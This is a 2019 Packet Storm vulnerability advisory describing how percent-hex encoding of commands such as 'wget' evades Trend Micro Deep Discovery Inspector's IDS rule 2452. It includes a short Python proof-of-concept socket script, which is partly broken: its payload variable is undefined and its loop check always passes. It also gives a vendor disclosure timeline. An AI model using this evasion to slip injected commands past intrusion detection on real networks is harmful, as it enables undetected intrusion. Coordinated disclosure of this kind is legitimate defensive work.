Trend Micro Deep Discovery Inspector Percent Encoding IDS Bypass

Type packetstorm
Reporter hyp3rlinx
Modified 2019-07-25T00:00:00


                                            `[+] Credits: John Page (aka hyp3rlinx)   
[+] Website:  
[+] Source:  
[+] ISR: Apparition Security   
Deep Discovery Inspector  
Deep Discovery Inspector is a network appliance that monitors all ports and over 105 different network protocols to discover advanced threats and targeted attacks  
moving in and out of the network and laterally across it. The appliance detects and analyzes malware, command-and-control (C&C) communications, and evasive attacker  
activities that are invisible to standard security defenses.  
[Vulnerability Type]  
Percent Encoding IDS Bypass  
[CVE Reference]  
Vendor decided not to release a CVE  
[Security Issue]  
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for malicious system commands like "Wget Commandline Injection" and they will be flagged as high.  
Attacker payloads sent with normal ascii characters for example like "wget" or even if they have been HEX encoded like "\x77\x67\x65\x74" they will still get flagged and alerted on.  
However, attackers can easily bypass these alerts by sending malicious commands in HEX preceded by percent sign chars "%", e.g. "%77%67%65%74" which also translates to "wget" and  
will not get flagged or alerted on and may still be processed on the target system.  
DDI RULE 2452  
Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is still run by the vulnerable target if the payload is encoded using percent/hex encoding like %77%67%65%74.  
That will not only bypass the IDE by having no alert triggered or notification sent but the application will still process the malicious command.  
Importantly, the "wget" DDI Rule 2452 used is just an example and can potentially be any malicious request where the IDS checks the character encodings but fails to account for  
percent encoded HEX character payload values.   
from socket import *  
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC  
#Discovery: hyp3rlinx - ApparitionSec  
#Apparition Security  
#Firewall Rule Bypass  
IP = raw_input("[+] Trend Micro IDS")  
PORT = 80  
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((IP, PORT))  
while True:  
res = s.recv(512)  
print res  
if res=="\n" or "</html>":  
#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets triggered.  
[Network Access]  
[Disclosure Timeline]  
Vendor Notification: May 14, 2019  
Vendor confirmed the IDS Bypass: May 20, 2019  
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019  
July 23, 2019 : Public Disclosure  
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